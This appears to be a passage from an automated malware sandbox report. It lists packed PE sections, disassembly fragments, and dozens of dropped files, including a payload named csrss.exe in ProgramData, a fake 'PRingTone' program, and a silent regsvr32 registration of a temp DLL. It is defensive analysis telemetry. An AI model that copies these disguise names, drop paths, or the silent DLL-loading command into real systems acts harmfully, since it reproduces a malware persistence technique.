Source: is-8IR3C.tmp.34.dr	Static PE information: section name:
Source: is-8IR3C.tmp.34.dr	Static PE information: section name:
Source: is-8IR3C.tmp.34.dr	Static PE information: section name: petite
Source: is-H37D9.tmp.34.dr	Static PE information: section name:
Source: is-H37D9.tmp.34.dr	Static PE information: section name: petite
Source: is-PLOP5.tmp.34.dr	Static PE information: section name:
Source: is-PLOP5.tmp.34.dr	Static PE information: section name:
Source: is-PLOP5.tmp.34.dr	Static PE information: section name:
Source: is-CNQNP.tmp.34.dr	Static PE information: section name:
Source: is-CNQNP.tmp.34.dr	Static PE information: section name:
Source: is-CNQNP.tmp.34.dr	Static PE information: section name: petite
Source: is-N8411.tmp.34.dr	Static PE information: section name:
Source: is-N8411.tmp.34.dr	Static PE information: section name:
Source: is-N8411.tmp.34.dr	Static PE information: section name:
Source: is-NFO0I.tmp.34.dr	Static PE information: section name:
Source: is-NFO0I.tmp.34.dr	Static PE information: section name:
Source: is-NFO0I.tmp.34.dr	Static PE information: section name: petite
Source: is-TTVKI.tmp.34.dr	Static PE information: section name:
Source: is-TTVKI.tmp.34.dr	Static PE information: section name:
Source: is-TTVKI.tmp.34.dr	Static PE information: section name: petite
Source: is-MC07M.tmp.34.dr	Static PE information: section name:
Source: is-MC07M.tmp.34.dr	Static PE information: section name:
Source: is-MC07M.tmp.34.dr	Static PE information: section name:
Source: is-7BFJI.tmp.34.dr	Static PE information: section name:
Source: is-7BFJI.tmp.34.dr	Static PE information: section name:
Source: is-7BFJI.tmp.34.dr	Static PE information: section name: petite
Source: is-SK5Q6.tmp.34.dr	Static PE information: section name: /4
Source: is-I0QQT.tmp.34.dr	Static PE information: section name: /4
Source: is-V7V6O.tmp.34.dr	Static PE information: section name: /4
Source: is-7HTFR.tmp.34.dr	Static PE information: section name: /4
Source: is-CJTE7.tmp.34.dr	Static PE information: section name:
Source: is-CJTE7.tmp.34.dr	Static PE information: section name:
Source: is-CJTE7.tmp.34.dr	Static PE information: section name:
Source: is-2O9C4.tmp.34.dr	Static PE information: section name: /4
Source: is-FU8V9.tmp.34.dr	Static PE information: section name: .eh_fram
Source: is-4ABIC.tmp.34.dr	Static PE information: section name: asmcode
Source: is-I8NI2.tmp.34.dr	Static PE information: section name: .eh_fram
Source: is-3IMHN.tmp.34.dr	Static PE information: section name: /4
Source: is-C88M7.tmp.34.dr	Static PE information: section name: /4
Source: is-JKVC3.tmp.34.dr	Static PE information: section name: /4
Source: is-K04LL.tmp.34.dr	Static PE information: section name: /4
Source: is-IMAIO.tmp.34.dr	Static PE information: section name: /4
Source: is-9I96E.tmp.34.dr	Static PE information: section name: /4
Source: is-M9FK5.tmp.34.dr	Static PE information: section name: /4
Source: is-M9FK5.tmp.34.dr	Static PE information: section name: /19
Source: is-M9FK5.tmp.34.dr	Static PE information: section name: /31
Source: is-M9FK5.tmp.34.dr	Static PE information: section name: /45
Source: is-M9FK5.tmp.34.dr	Static PE information: section name: /57
Source: is-M9FK5.tmp.34.dr	Static PE information: section name: /70
Source: is-M9FK5.tmp.34.dr	Static PE information: section name: /81
Source: is-M9FK5.tmp.34.dr	Static PE information: section name: /92
Source: is-69QGT.tmp.34.dr	Static PE information: section name: .trace
Source: is-69QGT.tmp.34.dr	Static PE information: section name: _RDATA
Source: is-69QGT.tmp.34.dr	Static PE information: section name: .debug_o
Source: is-F9EQ0.tmp.34.dr	Static PE information: section name: /4
Source: is-3UH5L.tmp.34.dr	Static PE information: section name: /4
Source: is-U7E66.tmp.34.dr	Static PE information: section name: /4
Source: is-E9JM7.tmp.34.dr	Static PE information: section name: /4
Source: is-H0BA3.tmp.34.dr	Static PE information: section name: /4
Source: is-IN8S5.tmp.34.dr	Static PE information: section name: /4
Source: is-91Q5O.tmp.34.dr	Static PE information: section name: /4
Source: N75Bitscore.exe.39.dr	Static PE information: section name: .ncell

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\87A0.dll

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_004014A1 push es; iretd	0_2_004014A3
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_004022A8 pushfd ; ret	0_2_004022C7
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_00AD8689 push ss; iretd	0_2_00AD868F
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_00AD52E7 push es; iretd	0_2_00AD5307
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_00AD5E22 pushfd ; ret	0_2_00AD5F01
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_00AD57FD push 8A1E29FAh; iretd	0_2_00AD5802
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_00ADBF2A push cs; iretd	0_2_00ADBF2C
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_0249230F pushfd ; ret	0_2_0249232E
Source: C:\Users\user\Desktop\NBHEkIKDCr.exe	Code function: 0_2_02491506 push es; iretd	0_2_0249150A
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_004014A1 push es; iretd	3_2_004014A3
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_004022A8 pushfd ; ret	3_2_004022C7
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_009B230F pushfd ; ret	3_2_009B232E
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_009B1506 push es; iretd	3_2_009B150A
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_009F83C1 push ss; iretd	3_2_009F83C7
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_009F501F push es; iretd	3_2_009F503F
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_009F5535 push 8A1E29FAh; iretd	3_2_009F553A
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_009F5B5A pushfd ; ret	3_2_009F5C39
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_00A0256B push edi; iretd	3_2_00A028CB
Source: C:\Users\user\AppData\Roaming\faischf	Code function: 3_2_009FBC62 push cs; iretd	3_2_009FBC64
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 6_2_026CF80A push 5A36841Dh; retf	6_2_026CF825
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 6_2_0266970A pushad ; ret	6_2_0266970C
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 6_2_026CF7ED push ebp; retf	6_2_026CF7EE
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 6_2_027077F8 push edx; retf	6_2_027077F9
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 6_2_026152EF push ebx; iretd	6_2_026152F7
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 6_2_027074BD push cs; ret	6_2_027074BE
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Code function: 7_2_00696299 push ecx; ret	7_2_006962AC
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_00411C50 push eax; ret	8_2_00411C65
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Code function: 8_2_006E7A45 pushad ; iretd	8_2_006E7A53
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Code function: 12_2_038CB1A2 push AC038A83h; retf	12_2_038CB1AD
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_0045F1DD push ecx; ret	13_2_0045F1DC
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00468E9D push esi; ret	13_2_00468EA6

Source: initial sample	Static PE information: section name: .text entropy: 7.392641527633819
Source: initial sample	Static PE information: section name: entropy: 7.9972694753134315
Source: initial sample	Static PE information: section name: .text entropy: 7.80668911772479
Source: initial sample	Static PE information: section name: .text entropy: 7.385681780020143
Source: initial sample	Static PE information: section name: .text entropy: 7.987918872609676
Source: initial sample	Static PE information: section name: .text entropy: 7.385681780020143
Source: initial sample	Static PE information: section name: .text entropy: 7.392641527633819
Source: initial sample	Static PE information: section name: .text entropy: 7.987918872609676
Source: initial sample	Static PE information: section name: .text entropy: 7.616529875682145
Source: initial sample	Static PE information: section name: entropy: 7.953893773659523
Source: initial sample	Static PE information: section name: entropy: 7.921519965168042
Source: initial sample	Static PE information: section name: entropy: 7.966771808365004
Source: initial sample	Static PE information: section name: entropy: 7.950928332152424
Source: initial sample	Static PE information: section name: entropy: 7.491817342209834
Source: initial sample	Static PE information: section name: .text entropy: 7.616529875682145

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\AppData\Local\Temp\76D5.exe

File created: C:\ProgramData\Drivers\csrss.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\ff_helper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\d_writer.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-MC07M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-2O9C4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-I8NI2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-3IMHN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-TTVKI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-4ABIC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\gain_analysis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bass_ofr.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\AF9D.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\da.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-F9EQ0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\dsd2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\PRingTone.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\rg_ebur128.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-R69AB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bassmidi.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-K04LL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bassdsd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-I0QQT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-U7E66.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-7BFJI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\takdec.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-9I96E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-C88M7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-B6G1A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-72EEK.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\cwischf	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bass_tta.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\basscd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bassopus.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\libsoxr.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-FM16A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-H37D9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-PLOP5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D5C5.exe	File created: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\uchardet.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\is-91Q5O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-N8411.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-V7V6O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bass.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-IMAIO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-FU8V9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-M9FK5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\daiso.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\libwebp.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-UQIIU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-VBAIR.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\76D5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\is-U5C20.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\libFLAC_dynamic.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\libdtsdec.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\87A0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-H0BA3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-TQ7HB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-3UH5L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bassflac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\dsd2pcmt.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\raw_decode_plugin_c.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-NFO0I.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\libwinpthread-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\OptimFROG.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-6F22E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bassalac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\libmp4v2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-H0LN9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-SK5Q6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bass_aac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-7HTFR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\utils.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-CNQNP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-K35B7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-E9JM7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\opusenc.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\mp3gain.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\tak_deco_lib.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-8IR3C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\pcm2dsd.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\libsox-3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\dstt.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\libvorbis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	File created: C:\ProgramData\Drivers\csrss.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\933A.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-IN8S5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bassape.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bassmix.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D5C5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\wavpackdll.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-CJTE7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\basswv.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\basswma.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-TL5BN.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\faischf	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\peak_scanner_plugin_c.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\sd.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C1FD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\bass_fx.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-656IU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D5C5.exe	File created: C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\is-G4SU6.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\826E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8FEE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-69QGT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-J6G3I.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\7z.exe (copy)	Jump to dropped file
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	File created: C:\ProgramData\N75Bitscore\N75Bitscore.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	File created: C:\Program Files (x86)\PRingTone\bin\x86\is-JKVC3.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\76D5.exe	File created: C:\ProgramData\Drivers\csrss.exe			Jump to dropped file
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	File created: C:\ProgramData\N75Bitscore\N75Bitscore.exe			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\cwischf			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\faischf			Jump to dropped file

Boot Survival

